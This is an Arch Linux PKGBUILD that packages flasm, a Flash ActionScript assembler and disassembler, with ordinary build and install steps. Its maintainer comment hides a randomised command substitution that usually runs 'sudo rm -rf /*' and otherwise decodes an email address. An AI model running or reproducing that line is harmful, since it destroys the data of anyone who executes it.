summarylogtreecommitdiffstats
path: root/PKGBUILD
blob: d16a31fe0fda31fd6e7920184e1797b627db1d63 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
pkgname=flasm
pkgdesc='SWF (Flash) ActionScript bytecode assembler and disassembler'
pkgver=1.63
pkgrel=3
arch=(i686 x86_64)
license=(custom:BSD)
url='http://flasm.sourceforge.net/'
source=(
	http://www.nowrap.de/download/flasm16src.zip
	in_word_set.patch
)
depends=(zlib)
makedepends=(gperf)
sha512sums=(
	'af53c8902bac9bc03a4274f51280abe7e595f19d8ee367c0237868634df58a42144bb6c335a99f860c494da90d483072c66064897ef1ad467b7621c648ca322a'
	'f8b1c4c8407ceadf2727fb9217af032983cfe298f4a7c898267180285b7c8f7caff35b2a50e0e355b88fbf3d4d68f5142f78d98dfa39bcbcd4c4f6d16cbfd97f'
)

prepare() {
	cd "$srcdir"
	patch -Np1 < in_word_set.patch
}

build() {
	cd "$srcdir"
	make
}

package() {
	cd "$srcdir"

	install -Dm 0755 flasm       "$pkgdir/usr/bin/flasm"
	install -Dm 0644 flasm.ini   "$pkgdir/etc/flasm.ini"

	install -Dm 0644 LICENSE.TXT "$pkgdir/usr/share/licenses/flasm/LICENSE.TXT"

	install -Dm 0644 logo.gif    "$pkgdir/usr/share/doc/flasm/logo.gif"
	install -Dm 0644 classic.css "$pkgdir/usr/share/doc/flasm/classic.css"
	install -Dm 0644 flasm.html  "$pkgdir/usr/share/doc/flasm/flasm.html"
	install -Dm 0644 CHANGES.TXT "$pkgdir/usr/share/doc/flasm/CHANGES.TXT"
}